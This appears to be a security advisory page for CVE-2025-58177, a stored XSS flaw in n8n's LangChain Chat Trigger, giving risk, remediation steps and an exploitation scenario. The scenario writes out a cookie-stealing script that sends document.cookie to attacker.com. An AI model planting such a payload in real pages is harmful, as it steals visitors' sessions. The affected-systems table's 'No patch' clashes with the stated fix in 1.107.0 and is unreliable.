CVE-2025-58177: n8n: stored XSS in LangChain chat trigger (public)
MEDIUMAn authorized n8n user can inject malicious JavaScript into the LangChain Chat Trigger's initialMessages field, which executes silently in any visitor's browser when the public chat URL is accessed. This enables session cookie theft and phishing at scale against users of your public-facing AI chat interfaces. Upgrade to n8n 1.107.0 immediately; if patching is delayed, disable all public-facing chatTrigger nodes.
Risk Assessment
Medium CVSS (5.4) understates operational risk for organizations with public-facing n8n AI chat interfaces. The scope change (S:C) indicates cross-context impact: an attacker with low-privilege access poisons the configuration once, and the payload fires for every subsequent external visitor. Real-world blast radius scales with how many end users interact with exposed chat URLs — potentially large for customer-facing AI assistants built on n8n.
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| n8n | npm | — | No patch |
Do you use n8n? You're affected.
Severity & Risk
Attack Surface
Recommended Action
6 steps-
PATCH
Upgrade n8n to 1.107.0 or later immediately.
-
WORKAROUND
If patching is delayed, disable all public-facing LangChain chatTrigger nodes.
-
AUDIT
Inspect the initialMessages field across all chatTrigger configurations for injected script tags or JS event handlers.
-
ACCESS CONTROL
Restrict workflow configuration permissions — limit who can modify chatTrigger nodes with public access enabled.
-
CSP
Implement Content-Security-Policy headers on n8n instances as defense-in-depth against XSS.
-
MONITOR
Review access logs for public chat URLs for anomalous traffic or referrers post-incident.
CISA SSVC Assessment
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2025-58177?
An authorized n8n user can inject malicious JavaScript into the LangChain Chat Trigger's initialMessages field, which executes silently in any visitor's browser when the public chat URL is accessed. This enables session cookie theft and phishing at scale against users of your public-facing AI chat interfaces. Upgrade to n8n 1.107.0 immediately; if patching is delayed, disable all public-facing chatTrigger nodes.
Is CVE-2025-58177 actively exploited?
No confirmed active exploitation of CVE-2025-58177 has been reported, but organizations should still patch proactively.
How to fix CVE-2025-58177?
1. PATCH: Upgrade n8n to 1.107.0 or later immediately. 2. WORKAROUND: If patching is delayed, disable all public-facing LangChain chatTrigger nodes. 3. AUDIT: Inspect the initialMessages field across all chatTrigger configurations for injected script tags or JS event handlers. 4. ACCESS CONTROL: Restrict workflow configuration permissions — limit who can modify chatTrigger nodes with public access enabled. 5. CSP: Implement Content-Security-Policy headers on n8n instances as defense-in-depth against XSS. 6. MONITOR: Review access logs for public chat URLs for anomalous traffic or referrers post-incident.
What systems are affected by CVE-2025-58177?
This vulnerability affects the following AI/ML architecture patterns: workflow automation, agent frameworks, LLM-powered chatbots, AI pipeline orchestration.
What is the CVSS score for CVE-2025-58177?
CVE-2025-58177 has a CVSS v3.1 base score of 5.4 (MEDIUM). The EPSS exploitation probability is 0.03%.
Technical Details
NVD Description
n8n is an open source workflow automation platform. From 1.24.0 to before 1.107.0, there is a stored cross-site scripting (XSS) vulnerability in @n8n/n8n-nodes-langchain.chatTrigger. An authorized user can configure the LangChain Chat Trigger node with malicious JavaScript in the initialMessages field and enable public access so that the payload is executed in the browser of any user who visits the resulting public chat URL. This can be used for phishing or to steal cookies or other sensitive data from users accessing the public chat link. The issue is fixed in version 1.107.0. Updating to 1.107.0 or later is recommended. As a workaround, the affected chatTrigger node can be disabled. No other workarounds are known.
Exploitation Scenario
A threat actor with low-privilege n8n access (compromised developer credential or malicious insider) modifies a LangChain Chat Trigger workflow, injecting a cookie-harvesting payload such as '<script>fetch("https://attacker.com/c?v="+document.cookie)</script>' into the initialMessages field. They enable public access and distribute the resulting URL via phishing emails targeting the organization's customers or partner users. Every visitor who loads the chat interface silently delivers their session tokens to the attacker — all while interacting with what appears to be a legitimate AI assistant.
Weaknesses (CWE)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N References
Timeline
Related Vulnerabilities
CVE-2026-33663 10.0 n8n: member role steals plaintext HTTP credentials
Same package: n8n CVE-2026-33660 10.0 TensorFlow: type confusion NPD in tensor conversion
Same package: n8n CVE-2026-21858 10.0 n8n: Input Validation flaw enables exploitation
Same package: n8n CVE-2026-27577 9.9 n8n: Code Injection enables RCE
Same package: n8n CVE-2026-27495 9.9 n8n: Code Injection enables RCE
Same package: n8n
AI Threat Alert